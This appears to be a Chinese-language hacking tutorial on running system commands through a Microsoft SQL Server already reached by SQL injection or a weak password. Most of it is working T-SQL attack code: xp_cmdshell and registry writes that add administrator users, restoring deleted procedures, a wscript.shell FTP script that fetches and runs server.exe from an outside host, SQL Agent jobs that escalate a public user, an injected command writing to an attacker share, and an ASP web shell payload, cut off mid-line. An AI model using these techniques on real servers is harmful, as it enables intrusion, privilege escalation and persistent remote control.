怎樣在MSSQL執(zhí)行命令

字號:


    假設(shè)一臺主機開了1433端口我們已通過SQL注入或是空弱密碼遠程連接
    能有哪些辦法加一個系統(tǒng)管理員用戶呢(或是執(zhí)行系統(tǒng)命令)
    1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'
    人人都知道的辦法,最大的好處是有回顯,但是最怕
    if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
    exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
    通過上面的T-SQL語句就可以把這個擴展儲存刪了
    我們一般可以用
    2k:
    EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
    SQL97:
    EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll'
    就還原了.
    但是有的人知道sp_addextendedproc也只不過是一個儲存過程一樣可以刪除的
    Drop PROCEDURE sp_addextendedproc
    if exists (select * from
    dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
    OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
    exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
    還原:
    create procedure sp_addextendedproc --- 1996/08/30 20:13
    @functname nvarchar(517),/* (owner.)name of function to call */
    @dllname varchar(255)/* name of DLL containing function */
    as
    set implicit_transactions off
    if @@trancount > 0
    begin
    raiserror(15002,-1,-1,'sp_addextendedproc')
    return (1)
    end
    /*
    ** Create the extended procedure mapping.
    */
    dbcc addextendedproc( @functname, @dllname)
    return (0) -- sp_addextendedproc
    呀呀寫了這么多其實有個最簡單的保護辦法:
    先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)刪了
    再把服務(wù)打開就可以了
    2)看了上面的你就明白了xp_cmdshell最終是可以被刪除的沒別的辦法了嗎?
    有寫注冊表三:
    xp_regwrite 'HKEY_LOCAL_MacHINE','SOFTWAREMicrosoftWindowscurrentversionrun', 'czy82','REG_SZ', net user czy bb /add
    其實注冊表還有好幾個地方可以寫的比如說注冊表中的WEB瀏覽設(shè)置
    用寫注冊表的辦法不好的地方是不但沒有回顯而且不能馬上運行實不實用我也不知道了
    3)
    declare @s int
    exec sp_oacreate "wscript.shell",@s out
    --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open ASP.7i24.com>c:a.txt"
    --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"
    --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"
    --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:a.txt"
    --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:a.txt"
    --exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:a.txt"
    exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"
    對了正如你看到的我們還可以使用sp_oacreate和sp_oamethod在它們的作用下我們可以
    調(diào)用系統(tǒng)的控件比如說fso,wsh,shell什么的,但是有個問題是并不能象xp_cmdshell那樣
    馬上看到結(jié)果真的不能嗎看下面的:
    declare @s int,@o int ,@f int,@str nvarchar(4000)
    /*exec sp_oacreate "wscript.shell",@s out
    exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:temp.txt"*/
    exec sp_oacreate "scripting.filesystemobject", @o out
    exec sp_oamethod @o, "opentextfile", @f out,"c:temp.txt", 1
    exec sp_oamethod @f, "readall",@str out
    print @str
    先執(zhí)行注解內(nèi)的然后執(zhí)行外面的其實原理很簡單就是利用>把結(jié)果寫到一個文件中然后用
    fso來讀出來!很實用的
    4)
    use msdb; --這兒不要是master喲
    exec sp_add_job @job_name='czy82';
    exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:>c:b.txt';
    exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';
    exec sp_start_job @job_name='czy82';
    利用MSSQL的作業(yè)處理也是可以執(zhí)行命令的而且如果上面的subsystem的參數(shù)是tsql后面的我們就可以
    執(zhí)行tsql語句了.
    對于這幾個儲存過程的使用第一在@server_name我們要指定你的sql的服務(wù)器名
    第二系統(tǒng)的sqlserveragent服務(wù)必須打開(默認沒打開的氣人了吧)
    net start SQLSERVERAGENT
    對于這個東東還有一個地方不同就是public也可以執(zhí)行..同這兒也是有系統(tǒng)洞洞的看下面的
    USE msdb
    EXEC sp_add_job @job_name = 'GetSystemOnSQL',
    @enabled = 1,
    @description = 'This will give a low privileged user Access to
    xp_cmdshell',
    @delete_level = 1
    EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
    @step_name = 'Exec my sql',
    @subsystem = 'TSQL',
    @command = 'exec master..xp_execresultset N''select ''''exec
    master..xp_cmdshell "dir > c:agent-job-results.txt"'''''',N''Master'''
    EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
    @server_name = '你的SQL的服務(wù)器名'
    EXEC sp_start_job @job_name = 'GetSystemOnSQL'
    不要懷疑上面的代碼我是測試成功了的!這兒我們要注意xp_execresultset就是因為它所以
    才讓我們可以以public執(zhí)行xp_cmdshell
    5)關(guān)于Microsoft SQL Agent Jobs任意文件可刪除覆蓋漏洞(public用戶也可以)
    在安焦有文章:http://www.xfocus.net/vuln/vul_view.PHP?vul_id=2968
    USE msdb
    EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
    @enabled = 1,
    @description = 'This will create a file called c:sqlafc123.txt',
    @delete_level = 1
    EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
    @step_name = 'SQLA
    FC',
    @subsystem = 'TSQL',
    @command = 'select ''hello, this file was created by the SQL Agent.''',
    @output_file_name = 'c:sqlafc123.txt'
    EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
    @server_name = 'SERVER_NAME'
    EXEC sp_start_job @job_name = 'ArbitraryFileCreate'
    如果subsystem選的是:tsql在生成的文件的頭部有如下內(nèi)容
    ??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
    ----------------------------------------------
    hello, this file was created by the SQL Agent.
    (1 ?????)
    所以我建議要生成文件最好subsystem選cmdexec,如果利用得好我們可以寫一個有添加管理員
    命令的VBs文件到啟動目錄!
    6)關(guān)于sp_makewebtask(可以寫任意內(nèi)容任意文件名的文件)
    關(guān)于sp_MScopyscriptfile 看下面的例子
    declare @command varchar(100)
    declare @scripfile varchar(200)
    set concat_null_yields_null off
    select @command='dir c: > "attackeripsharedir.txt"'
    select @scripfile='c:autoexec.bat > nul" | ' + @command + ' | rd "'
    exec sp_MScopyscriptfile @scripfile ,''
    這兩個東東都還在測試試喲
    讓MSSQL的public用戶得到一個本機的web shell:)
    sp_makewebtask @outputfile='d:smsa.asp',@charset=gb2312,
    --@query='select '''''
    --@query='select '''' '
    @query='select ''
    " method="POST">